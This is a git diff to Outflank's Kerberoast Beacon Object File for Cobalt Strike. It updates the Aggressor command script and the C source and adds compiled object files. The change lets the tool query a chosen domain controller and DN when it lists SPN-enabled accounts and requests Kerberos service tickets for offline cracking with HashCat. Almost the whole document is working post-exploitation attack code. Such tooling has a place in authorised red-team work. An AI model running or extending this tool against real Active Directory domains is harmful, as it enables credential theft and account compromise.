diff --git a/BOF/Kerberoast/Kerberoast.cna b/BOF/Kerberoast/Kerberoast.cna index 196b11c..550676a 100644 --- a/BOF/Kerberoast/Kerberoast.cna +++ b/BOF/Kerberoast/Kerberoast.cna @@ -5,8 +5,10 @@ #register help beacon_command_register("Kerberoast", "Perform Kerberoasting against all (or specified) SPN enabled accounts.", "List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked offline using HashCat.\n\n" . - "Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account ]\n\n" . - "WARNING: Listing and roasting tickets without sAMAccountName filter is OPSEC UNSAFE!\n\n"); + "Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account ] [DC hostname/IP ] [DN ]\n" . + "Example 1: Kerberoast roast svc_sql \n" . + "Example 2: Kerberoast roast svc_sql dc1.domain.local CN=domain,CN=local \n\n" . + "WARNING: Listing users without sAMAccountName filter is OPSEC UNSAFE!\n\n"); alias Kerberoast { $bid = $1; @@ -16,6 +18,8 @@ alias Kerberoast { $action = @args[0]; $filter = @args[1]; + $dc = @args[2]; + $dn = @args[3]; if ($action eq "") { berror($bid, "Please specify an action (list, list-no-aes, roast or roast-no-aes)."); @@ -27,14 +31,18 @@ alias Kerberoast { $data = readb($handle, -1); closef($handle); - # Pack our arguments - if ($filter eq "") { - $arg_data = bof_pack($bid, "Z", $action); - } - else { - $arg_data = bof_pack($bid, "ZZ", $action, $filter); - } + # Pack our arguments + if ($filter eq "") { + $arg_data = bof_pack($bid, "Z", $action); + } else if ($dc eq "") { + $arg_data = bof_pack($bid, "ZZ", $action, $filter); + } else if ($dn eq "") { + $arg_data = bof_pack($bid, "ZZZ", $action, $filter, $dc); + } else { + $arg_data = bof_pack($bid, "ZZZZ", $action, $filter, $dc, $dn); + } blog($bid, "Kerberoast BOF by Outflank"); beacon_inline_execute($bid, $data, "go", $arg_data); } + diff --git a/BOF/Kerberoast/Kerberoast.x64.o b/BOF/Kerberoast/Kerberoast.x64.o new file mode 100644 index 0000000..1e38252 Binary files /dev/null and b/BOF/Kerberoast/Kerberoast.x64.o differ diff --git a/BOF/Kerberoast/Kerberoast.x86.o b/BOF/Kerberoast/Kerberoast.x86.o new file mode 100644 index 0000000..9b944bf Binary files /dev/null and b/BOF/Kerberoast/Kerberoast.x86.o differ diff --git a/BOF/Kerberoast/SOURCE/Kerberoast.c b/BOF/Kerberoast/SOURCE/Kerberoast.c index 18da0aa..9f7c067 100755 --- a/BOF/Kerberoast/SOURCE/Kerberoast.c +++ b/BOF/Kerberoast/SOURCE/Kerberoast.c @@ -208,7 +208,7 @@ HRESULT FindSPNs(_In_ IDirectorySearch *pContainerToSearch, _In_ BOOL bListSPNs, BOOL bResult = FALSE, bRoast = FALSE; WCHAR wcSearchFilter[BUF_SIZE] = { 0 }; LPCWSTR lpwFormat = L"(&(objectClass=user)(objectCategory=person)%ls(!(userAccountControl:1.2.840.113556.1.4.803:=2))(servicePrincipalName=*)(sAMAccountName=%ls))"; - LPCWSTR lpwFormatNoListSpn = L"(&(objectClass=user)(objectCategory=person)%ls(!(userAccountControl:1.2.840.113556.1.4.803:=2))(sAMAccountName=%ls))"; + LPCWSTR lpwFormatNoListSpn = L"(&(objectClass=user)(objectCategory=person)%ls(sAMAccountName=%ls))"; PUSER_INFO pUserInfo = NULL; INT iCount = 0; DWORD x = 0L; @@ -507,7 +507,7 @@ HRESULT FindSPNs(_In_ IDirectorySearch *pContainerToSearch, _In_ BOOL bListSPNs, return hr; } -HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR lpwFilter) { +HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR lpwFilter, _In_ LPCWSTR lpwDC, _In_ LPCWSTR lpwDN) { HRESULT hr = S_OK; HINSTANCE hModule = NULL; IADs* pRoot = NULL; @@ -537,28 +537,35 @@ HRESULT SearchDirectory(_In_ BOOL bListSPNs, _In_ BOOL bExcludeAES, _In_ LPCWSTR hr = OLE32$IIDFromString(pIADsIID, &IADsIID); hr = OLE32$IIDFromString(pIDirectorySearchIID, &IDirectorySearchIID); - // Get rootDSE and the current user's domain container DN. - hr = ADsOpenObject(L"LDAP://rootDSE", - NULL, - NULL, - ADS_USE_SEALING | ADS_USE_SIGNING | ADS_SECURE_AUTHENTICATION, // Use Kerberos encryption - &IADsIID, - (void**)&pRoot); - if (FAILED(hr)) { - BeaconPrintf(CALLBACK_ERROR, "Failed to get rootDSE.\n"); - goto CleanUp; - } + // Construct the LDAP path + if (lpwDC != NULL && lpwDN != NULL) { // Use DC and DN if provided + MSVCRT$swprintf_s(wcPathName, BUF_SIZE, L"LDAP://%ls/%ls", lpwDC, lpwDN); + } else if (lpwDC != NULL && lpwDN == NULL) { // Use only DC if DN is not provided + MSVCRT$swprintf_s(wcPathName, BUF_SIZE, L"LDAP://%ls", lpwDC); + } else { + // Get rootDSE and the current user's domain container DN. + hr = ADsOpenObject(L"LDAP://rootDSE", + NULL, + NULL, + ADS_USE_SEALING | ADS_USE_SIGNING | ADS_SECURE_AUTHENTICATION, // Use Kerberos encryption + &IADsIID, + (void**)&pRoot); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "Failed to get rootDSE.\n"); + goto CleanUp; + } + + OLEAUT32$VariantInit(&var); + hr = pRoot->lpVtbl->Get(pRoot, (BSTR)L"defaultNamingContext", &var); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "Failed to get defaultNamingContext."); + goto CleanUp; + } - OLEAUT32$VariantInit(&var); - hr = pRoot->lpVtbl->Get(pRoot, (BSTR)L"defaultNamingContext", &var); - if (FAILED(hr)) { - BeaconPrintf(CALLBACK_ERROR, "Failed to get defaultNamingContext."); - goto CleanUp; + MSVCRT$wcscpy_s(wcPathName, _countof(wcPathName), L"LDAP://"); + MSVCRT$wcscat_s(wcPathName, _countof(wcPathName), var.bstrVal); } - MSVCRT$wcscpy_s(wcPathName, _countof(wcPathName), L"LDAP://"); - MSVCRT$wcscat_s(wcPathName, _countof(wcPathName), var.bstrVal); - hr = ADsOpenObject((LPCWSTR)wcPathName, NULL, NULL, @@ -595,6 +602,8 @@ VOID go(IN PCHAR Args, IN ULONG Length) { BOOL bExcludeAES = FALSE; LPCWSTR lpwArgs = NULL; LPCWSTR lpwFilter = NULL; + LPCWSTR lpwDC = NULL; + LPCWSTR lpwDN = NULL; // Parse Arguments datap parser; @@ -602,6 +611,9 @@ VOID go(IN PCHAR Args, IN ULONG Length) { lpwArgs = (WCHAR*)BeaconDataExtract(&parser, NULL); lpwFilter = (WCHAR*)BeaconDataExtract(&parser, NULL); + lpwDC = (WCHAR*)BeaconDataExtract(&parser, NULL); + lpwDN = (WCHAR*)BeaconDataExtract(&parser, NULL); + if (lpwArgs != NULL && MSVCRT$_wcsicmp(lpwArgs, L"list") == 0) { bListSPNs = TRUE; } @@ -621,7 +633,7 @@ VOID go(IN PCHAR Args, IN ULONG Length) { lpwFilter = L"*"; } - hr = SearchDirectory(bListSPNs, bExcludeAES, lpwFilter); + hr = SearchDirectory(bListSPNs, bExcludeAES, lpwFilter, lpwDC, lpwDN); if (FAILED(hr)) { GetFormattedErrMsg(hr); }